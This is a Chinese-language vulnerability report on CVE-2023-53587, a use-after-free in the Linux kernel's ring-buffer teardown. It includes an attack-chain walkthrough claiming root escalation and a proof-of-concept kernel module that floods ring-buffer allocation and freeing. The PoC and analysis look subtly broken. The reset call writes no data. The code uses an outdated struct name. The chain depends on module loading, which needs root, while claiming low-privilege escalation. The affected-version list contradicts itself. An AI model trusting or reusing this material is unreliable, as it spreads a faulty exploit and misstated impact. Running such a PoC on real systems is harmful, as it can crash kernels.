IPBUF安全漏洞报告
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CVE-2023-53587 CVSS 7.8 高危

CVE-2023-53587 Linux内核ring-buffer释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53587
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUse-After-Freering-buffer释放后使用内核漏洞本地提权拒绝服务KASANIRQ work内存安全

漏洞概述

CVE-2023-53587是Linux内核ring-buffer(环形缓冲区)子系统中存在的一个高危释放后使用(Use-After-Free)漏洞。该漏洞位于内核的ring-buffer销毁逻辑中,当ring-buffer在销毁前未能正确同步IRQ work(中断请求工作队列)时,可能导致在缓冲区内存被释放后,IRQ work仍然尝试访问已释放的内存区域,从而触发KASAN(Kernel Address Sanitizer)报告的slab-use-after-free错误,或在没有KASAN的情况下直接导致系统崩溃。

该漏洞在ARCH=um(User Mode Linux)配合time-travel(时间穿越)调试模式下被实际复现。在真实硬件系统中,由于时间窗口极小,该问题可能难以触发,但在特定时序条件下(如高负载、内核抢占等场景)仍然存在被利用的风险。攻击者可以通过精心构造的时序条件,在ring-buffer销毁过程中触发对已释放内存的访问,导致内核崩溃或权限提升。

根据CVSS 3.1评分标准,该漏洞评分为7.8分(高危),攻击向量为本地(AV:L),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞影响了多个Linux内核稳定版本,需要尽快应用安全补丁进行修复。

技术细节

该漏洞的根本原因在于ring-buffer销毁流程中缺少对IRQ work的同步操作。在Linux内核6.3.0-rc1之前的版本中,ring-buffer模块使用单一的全局IRQ work结构,因此不存在竞争条件问题。但在引入多个per-CPU ring-buffer的IRQ work之后,每个buffer拥有独立的IRQ work实例。

当ring-buffer被销毁时,如果在此之前有数据被写入buffer,相应的IRQ work可能尚未执行。ring-buffer的销毁操作会释放其占用的slab内存(kmalloc-1k,1024字节),但IRQ work回调函数仍然持有对该内存的引用。当IRQ work随后在中断上下文中执行时,会访问已经被释放的内存区域,触发use-after-free错误。

从KASAN报告中可以看到,buggy address位于kmalloc-1k缓存中已释放的1024字节区域内,距离起始地址偏移584字节。调用链为:irq_work_run_list -> irq_work_tick -> update_process_times -> tick_sched_handle -> tick_sched_timer -> __hrtimer_run_queues -> hrtimer_interrupt。

修复方案是在ring-buffer销毁函数中添加irq_work_sync()调用,确保IRQ work在buffer内存被释放之前完成执行,从而避免竞争条件。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要获得目标系统的本地低权限访问权限。由于漏洞利用复杂度低,仅需普通用户权限即可触发。
STEP 2
步骤2:加载恶意内核模块或利用现有接口
攻击者通过加载恶意的内核模块(如PoC代码所示),或者利用系统现有的ring-buffer相关接口(如tracefs、perf等),快速创建和销毁ring-buffer实例。
STEP 3
步骤3:触发竞争条件
在ring-buffer被写入数据后立即销毁,使得IRQ work尚未执行完成,而buffer的内存已经被释放。关键时序窗口在ring_buffer_free()调用与irq_work_run_list()执行之间。
STEP 4
步骤4:触发Use-After-Free
当中断触发时,IRQ work回调函数尝试访问已释放的kmalloc-1k slab内存(偏移584字节处),触发KASAN报告或系统崩溃。
STEP 5
步骤5:权限提升或拒绝服务
攻击者可以通过精心构造的UAF利用实现权限提升(提权至root),或直接导致系统内核崩溃(拒绝服务攻击)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53587: Linux kernel ring-buffer use-after-free // This vulnerability can be triggered in ARCH=um with time-travel mode // The PoC demonstrates the kernel module that creates and destroys ring-buffers // in rapid succession to trigger the race condition. #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/ring_buffer.h> #include <linux/delay.h> #include <linux/kthread.h> static struct task_struct *trigger_thread; static int trigger_uaf(void *data) { struct ring_buffer *buffer; int i; // Rapidly create and destroy ring-buffers to trigger race condition for (i = 0; i < 10000; i++) { // Create a new ring-buffer (size 1024 = kmalloc-1k) buffer = ring_buffer_alloc(1024, RB_FL_OVERWRITE); if (!buffer) continue; // Write data to trigger IRQ work scheduling ring_buffer_reset(buffer); // Immediately destroy the buffer before IRQ work can run // This triggers the use-after-free when IRQ work accesses // the freed memory ring_buffer_free(buffer); } return 0; } static int __init poc_init(void) { pr_info("CVE-2023-53587 PoC loaded\n"); trigger_thread = kthread_run(trigger_uaf, NULL, "cve_2023_53587"); return 0; } static void __exit poc_exit(void) { if (trigger_thread) kthread_stop(trigger_thread); pr_info("CVE-2023-53587 PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2023-53587 Linux kernel ring-buffer UAF");

影响范围

Linux Kernel < 6.3(引入per-CPU IRQ work后的版本)
Linux Kernel 6.3.0-rc1
Linux Kernel 6.3.x
Linux Kernel 6.4.x
Linux Kernel 6.5.x(受影响至修复前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户加载内核模块的权限(通过配置kernel.modules_disabled=1或修改kexec_load_disabled等sysctl参数);2)通过mount选项将/dev/kmem等设备设为只读或禁用;3)使用seccomp或namespace隔离限制不可信进程访问内核接口;4)监控内核日志中的KASAN报告,及时发现潜在的利用尝试;5)对于ARCH=um环境,避免使用time-travel模式运行不可信的二进制文件。

参考链接

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